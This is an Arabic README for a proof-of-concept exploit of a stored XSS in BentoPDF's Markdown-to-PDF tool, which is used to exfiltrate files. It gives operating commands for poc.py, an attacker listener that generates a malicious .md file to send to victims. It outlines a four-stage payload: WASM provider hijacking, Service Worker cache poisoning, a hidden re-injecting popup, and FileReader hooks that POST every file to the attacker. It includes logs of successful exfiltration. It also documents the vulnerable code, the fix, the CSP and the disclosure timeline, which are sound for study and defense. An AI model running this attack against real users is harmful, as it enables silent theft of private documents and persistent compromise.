
إثبات مفهوم لاستغلال CVE-2026-41653، وهو XSS مخزّن في BentoPDF يتيح استخراج الملفات بصمت واختطاف سلسلة توريد WASM.
اكتشفه وقدّمه: Astaruf
التقرير الكامل: https://nstsec.com/en/posts/bentopdf-xss-cve-2026-41653/
إشعار الجهة العليا: إشعار GHSA من alam00000/bentopdf
إدخال NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-41653
BentoPDF هو صندوق أدوات PDF مستضاف ذاتيًا ويعمل بالكامل في المتصفح (ضغط، دمج، تقسيم، تدوير، تحويل، Markdown إلى PDF، وغيرها).
أداة Markdown-to-PDF تمرّر Markdown المقدَّم من المستخدم عبر markdown-it مع تفعيل html: true وتحقن المخرجات المعروضة مباشرةً في DOM عبر innerHTML دون أي تنقية. يمكن للمهاجم الذي يسلّم ملف .md مصممًا بعناية تحقيق تنفيذ JavaScript تعسفي في نطاق BentoPDF.
نظرًا لأن BentoPDF تطبيق يعمل بالكامل في المتصفح، فإن كل أداة (ضغط PDF، دمج PDF، تقسيم PDF، إلخ) تحمّل الملفات وتعالجها مباشرةً في متصفح الضحية. لذلك يكفي XSS واحد لتسريب كل مستند يفتحه الضحية في أي أداة أثناء الجلسة بصمت.
يرسل المهاجم report.md (يحتوي على )
-> يفتحه الضحية في Markdown-to-PDF
-> يعرض markdown-it HTML الخام (html: true)
-> preview.innerHTML = html (بدون DOMPurify)
-> يتم تحميل poc_payload.js من خادم المهاجم (بدون CSP)
-> FileReader + <input type=file> مربوطان على مستوى التطبيق
-> نافذة منبثقة مخفية تعيد حقن الخطافات عند كل تنقّل بين الأدوات
-> كل ملف يفتحه الضحية يُسرَّب بصمت
localStorage['bentopdf:wasm-providers']، ويعيد توجيه تنزيلات وحدات WASM الخاصة بـ PyMuPDF وGhostscript وcpdf إلى مضيف يتحكم فيه المهاجم.window.opener وتعيد حقن خطافات الملفات في كل مرة يتنقل فيها الضحية إلى أداة مختلفة، مما يحافظ على الوصول طوال الجلسة بأكملها.bentopdf-*، مضيفًا خطاف تسريب إلى كل ملف /assets/*.js يُقدَّم للمتصفح بعد الجلسة الحالية.markdown-it (CWE-79)src/js/utils/markdown-editor.ts (الأسطر 271–272):
private mdOptions: MarkdownItOptions = {
html: true, // وسوم HTML الخام تمر عبر محلل markdown
breaks: false,
linkify: true,
typographer: true,
};
وسوم مثل `` و<svg> و<details> وأي سمات معالجات أحداث (onerror، onload، ontoggle) تُمرَّر إلى DOM كما هي.
innerHTML غير منقّى (CWE-116)src/js/utils/markdown-editor.ts (الأسطر 689–694):
private updatePreview(): void {
if (!this.editor || !this.preview) return;
const markdown = this.editor.value;
const html = this.md.render(markdown);
this.preview.innerHTML = html; // HTML يتحكم به المهاجم يُحقن في DOM
this.renderMermaidDiagrams();
}
لا تُطبَّق أي مكتبة تنقية بين markdown-it وinnerHTML. يحلّل المتصفح السلسلة المحقونة، ويواجه معالج الأحداث المضمّن، وينفّذه فورًا.
يأتي nginx.conf بدون ترويسة Content-Security-Policy. يمكن لـ JavaScript المحقون تحميل سكربتات خارجية بحرية، وإصدار طلبات fetch() إلى أي مضيف، وفتح نوافذ منبثقة. كانت سياسة CSP تقييدية ستمنع مرحلة تحميل السكربتات الخارجية حتى مع بقاء نقطة الحقن.
# شغّل خادم المهاجم للتسريب
python3 poc.py --lhost <YOUR_IP> --lport 9999
# سيقوم poc.py بـ:
# - توليد حمولة poc_report.md في الدليل الحالي
# - بدء الاستماع لاستدعاءات الضحية والملفات المسرّبة
أرسل poc_report.md إلى الضحية واطلب منه فتحه في BentoPDF → Markdown-to-PDF. تنطلق الحمولة لحظة عرض المعاينة، وتُسرَّب جميع الملفات التي سيرفعها الضحية في المستقبل إلى خادم المهاجم.
| الخيار | الافتراضي | الوصف |
|---|---|---|
--lhost | مطلوب | عنوان IP يمكن لمتصفح الضحية الوصول إليه |
--lport | 9999 | منفذ الاستماع |
--loot-dir | ./loot/ | الدليل الذي تُحفظ فيه الملفات المسرّبة |
--log-file | لا شيء | إلحاق جميع الأحداث بملف (تُزال رموز ANSI) |
--no-color | معطّل | تعطيل ألوان ANSI في مخرجات الطرفية |
1. بدء خادم المهاجم باستخدام --lhost و--lport. يتم توليد poc_report.md الخبيث تلقائيًا.
$ python3 poc.py --lhost 127.0.0.1 --lport 9999
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██╗ ██████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ███║ ██╔════╝ ██╔════╝ ╚════██╗
██║ ██║ ██║█████╗ -2026- ███████║ ╚██║ ███████╗ ███████╗ █████╔╝
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ██║ ██╔══██║ ╚════██║ ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗ ██║ ██║ ╚██████║ ███████║ ██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═════╝
BentoPDF <= 2.8.1 - Markdown-to-PDF Stored XSS -> File Exfiltration
PoC by Astaruf (https://nstsec.com)
========================================================================
Exfiltration server: http://127.0.0.1:9999
Payload: http://127.0.0.1:9999/poc_payload.js
Loot dir: /home/kali/loot
========================================================================
Malicious .md file ready: /home/kali/poc_report.md
Send it to the victim and ask them to open it in Markdown-to-PDF tool.
The payload fires as soon as the preview renders.
========================================================================
Waiting for victims...
2. يفتح الضحية أداة Markdown-to-PDF في BentoPDF.

3. يحمّل الضحية poc_report.md. تُعرض المعاينة، يفشل تحميل ``، وينطلق onerror. يتم جلب poc_payload.js من خادم المهاجم دون أي CSP يعيقه.

4. ينفّذ الحمولة مراحله الأربع: اختطاف مزوّد WASM عبر localStorage، تشغيل مراقب النافذة المنبثقة، تثبيت خطافات FileReader وإدخال الملفات في الصفحة الحالية.

5. يتنقل الضحية إلى Compress PDF. تكتشف النافذة المنبثقة التنقّل وتعيد حقن الخطافات في الصفحة الجديدة.

6. يحمّل الضحية ملف PDF. تضغطه الأداة بشكل طبيعي. كانت بايتات الملف قد أُرسلت بالفعل عبر POST إلى خادم المهاجم.

7. مخرجات خادم المهاجم من تشغيل مُتحقَّق منه:
[17:11:11] WASM HIJACK { stage: 'wasm_hijack', victim: '.../markdown-to-pdf.html' }
[17:11:12] BEACON { page: '.../markdown-to-pdf.html' }
[17:11:55] BEACON { page: '.../index.html' }
[17:12:00] BEACON { page: '.../compress-pdf.html' }
[17:12:01] FILE EXFILTRATED Lorem_ipsum.pdf (23.7 KB) -> loot/171201_Lorem_ipsum.pdf
[17:13:57] BEACON { page: '.../merge-pdf.html' }
[17:13:58] FILE EXFILTRATED Lorem_ipsum.pdf (23.7 KB) -> loot/171358_Lorem_ipsum.pdf

8. يُفتح الملف المسرَّب كملف PDF كامل وصالح ومطابق للأصل.

تعمل الحمولة المضمّنة في poc.py على أربع مراحل بالتسلسل:
| المرحلة | ما تفعله | نطاق الاستمرارية |
|---|---|---|
| 1 | تستبدل localStorage['bentopdf:wasm-providers'] لإعادة توجيه جميع تنزيلات وحدات WASM إلى المهاجم | عبر جلسات المتصفح |
| 2 | تسجّل /sw.js، وتُعدّد /assets/*.js عبر جميع صفحات الأدوات، وتسمّم ذاكرة التخزين المؤقت لـ Service Worker bentopdf-* بخطاف تسريب | بعد جلسة المتصفح (HTTPS فقط) |
| 3 | تُطلق نافذة منبثقة مخفية بحجم 1×1 تستقصي window.opener.location.href وتعيد حقن خطافات الملفات بعد كل تنقّل بين الأدوات | طالما كانت علامة تبويب BentoPDF مفتوحة |
| 4 | تربط FileReader.prototype.readAsArrayBuffer ومستمع change على مستوى المستند: كل ملف يلمسه الضحية يُرسَل عبر POST إلى خادم المهاجم /file?name=<filename> | الصفحة الحالية |
صدر في BentoPDF v2.8.3. راجع المطوّر قاعدة الشيفرة بما يتجاوز نقطة الحقن المُبلَّغ عنها أصلًا وعالج عدة نواقل ذات صلة:
innerHTML الثلاث في markdown-editor.ts، بما في ذلك مسار SVG الخاص بـ Mermaid الذي كان يستخدم securityLevel: 'loose' وتبيّن أنه يتجاوز أداة التنقية الأولى.securityLevel: 'strict' ويُعاد تنقية مخرجات SVG باستخدام ملف تعريف SVG الخاص بـ DOMPurify.file.name تمت معالجته عبر حوالي 8 صفحات أدوات (Deskew، Form Filler، Remove Annotations، إلخ) حيث كانت أسماء الملفات تُدمج سابقًا في HTML دون تنقية.localStorage['bentopdf:wasm-providers'] عند التحميل.nginx.conf، بما في ذلك Content-Security-Policy.الإصلاح الأدنى لنقطة الحقن المُبلَّغ عنها أصلًا:
import DOMPurify from 'dompurify';
private updatePreview(): void {
if (!this.editor || !this.preview) return;
const markdown = this.editor.value;
const html = this.md.render(markdown);
this.preview.innerHTML = DOMPurify.sanitize(html);
}
ترويسة CSP المضافة في nginx.conf:
add_header Content-Security-Policy "default-src 'self'; script-src 'self' blob:; connect-src 'self' https://cdn.jsdelivr.net; object-src 'none';" always;
| التاريخ | الحدث |
|---|---|
| 2026-04-02 | اكتشاف الثغرة |
| 2026-04-02 | الإبلاغ الخاص إلى المطوّر |
| 2026-04-17 | اعتراف المطوّر |
| 2026-04-17 | تطبيق الإصلاح على بناء edge وإعادة الاختبار |
| 2026-04-18 | إصدار v2.8.3 مع إشادة علنية |
| 2026-04-21 | نشر إشعار GHSA |
| 2026-04-22 | تعيين CVE-2026-41653 |
هذه المادة مقدَّمة لأغراض الاختبار الأمني المصرّح به والتعليم فقط. استخدمها فقط ضد حالات BentoPDF التي تملكها أو لديك إذن كتابي صريح لاختبارها. الوصول غير المصرّح به إلى أنظمة الكمبيوتر غير قانوني. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.